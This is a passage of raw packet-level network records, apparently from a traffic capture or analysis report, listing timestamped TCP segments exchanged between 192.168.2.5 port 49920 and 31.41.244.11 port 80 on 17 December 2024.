Dec 17, 2024 08:03:49.006885052 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.007014990 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.007056952 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.007832050 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.007875919 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.007946014 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.007985115 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.008946896 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.008991003 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.009216070 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.009943008 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.009983063 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.009995937 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.010034084 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.010921955 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.010973930 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.011086941 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.011909962 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.011962891 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.012001991 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.012043953 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.012856960 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.012912989 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.012962103 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.013000011 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.013892889 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.013943911 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.014012098 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.014050961 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.014894009 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.014950037 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.014992952 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.015033007 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.015906096 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.016028881 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.016078949 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.016892910 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.016947031 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.016992092 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.017033100 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.017894030 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.017962933 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.017992973 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.018102884 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.018960953 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.019010067 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.019694090 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.020391941 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.020404100 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.020438910 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.020463943 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.020937920 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.021008015 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.021048069 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.021961927 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.022003889 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.022075891 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.022114038 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.022953987 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.023096085 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.023143053 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.023962975 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.024008989 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.024070024 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.024115086 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.026067972 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.026133060 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.027055025 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.027576923 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.027596951 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.027609110 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.027621031 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.027621984 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.027642965 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.027663946 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.028182983 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.028348923 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.028403044 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.029220104 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.029267073 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.029681921 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.029727936 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.030330896 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.030379057 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.030432940 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.030476093 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.031244993 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.031290054 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.031418085 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.032183886 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.032229900 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.032332897 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.032378912 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.033201933 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.033252001 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.033379078 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.033431053 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.034121037 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.034168005 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.034300089 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.034344912 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.035130024 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.035285950 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.035327911 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.036273956 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.036298037 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.036319017 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.036339998 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.037076950 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.037125111 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.037144899 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.037185907 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.038770914 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.038783073 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.038825989 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.039273977 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.039285898 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.039333105 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.040102005 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.040169954 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.040204048 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.040246964 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.041093111 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.041138887 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.041189909 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.041239977 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.042052984 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.042099953 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.181433916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.181510925 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.181557894 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.181947947 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.181993961 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.182094097 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.182137966 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.182985067 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.183042049 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.183078051 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.183124065 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.183971882 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.184036016 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.184056997 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.184099913 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.184928894 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.184974909 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.185019970 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.185129881 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.185945988 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.186001062 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.186042070 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.186091900 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.186960936 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.187011957 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.187040091 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.187088966 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.187989950 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.188035965 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.188107014 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.188185930 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.188990116 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.189044952 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.189071894 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.189120054 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.189985037 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.190035105 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.190080881 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.190134048 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.190977097 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.191041946 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.191083908 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.191241026 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.191970110 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.192017078 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.192095995 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.192142963 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.192998886 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.193051100 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.193123102 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.193167925 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.194034100 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.194097996 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.194387913 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.194447994 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.195131063 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.195183992 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.195254087 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.195372105 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.196084023 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.196125984 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.196332932 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.196384907 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.197024107 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.197082996 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.197114944 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.197159052 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.198018074 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.198075056 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.198121071 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.198179960 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.199099064 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.199146986 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.199174881 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.199322939 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.200128078 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.200179100 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.200206041 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.200242043 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.201109886 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.201147079 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.201169968 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.201236963 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.202070951 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.202121019 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.202164888 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.202204943 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.203094959 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.203159094 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.203351974 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.203389883 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.204097986 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.204154015 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.204164028 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.204201937 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.205097914 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.205143929 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.205281019 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.205346107 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.206080914 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.206132889 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.206175089 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.206245899 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.207098007 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.207138062 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.207178116 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.207220078 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.208087921 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.208153009 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.208183050 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.208219051 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.209233046 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.209284067 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.209321976 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.210238934 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.210289955 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.210411072 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.210470915 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.211308002 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.211420059 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.211431026 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.211462021 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.212107897 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.212152958 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.212198973 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.212307930 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.213198900 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.213249922 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.213294029 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.213382006 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.214206934 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.214257956 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.214284897 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.214317083 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.215186119 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.215238094 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.215289116 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.215404987 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.216150045 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.216200113 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.216250896 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.216320992 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.217223883 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.217272997 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.217303038 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.217339993 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.218203068 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.218275070 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.218295097 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.218327045 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.219197035 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.219242096 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.219371080 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.219429970 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.220247984 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.220288992 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.220310926 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.220957041 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.221259117 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.221324921 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.221326113 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.221368074 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.222225904 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.222271919 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.222274065 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.222311974 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.223257065 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.223300934 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.223385096 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.223436117 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.224239111 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.224280119 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.224347115 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.224394083 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.225255966 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.225300074 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.225354910 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.225513935 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.226248980 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.226298094 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.226372004 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.226470947 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.227242947 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.227288961 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.227341890 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.227389097 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.228257895 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.228324890 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.228384972 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.228427887 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.229270935 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.229327917 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.229330063 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.229374886 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.230293989 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.230360031 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.230621099 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.230720997 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.231296062 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.231363058 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.231408119 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.232347012 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.232393980 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.232429028 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.232466936 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.233313084 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.233360052 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.233390093 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.233433962 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.234275103 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.234352112 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.373437881 CET	80	49920	31.41.244.11	192.168.2.5
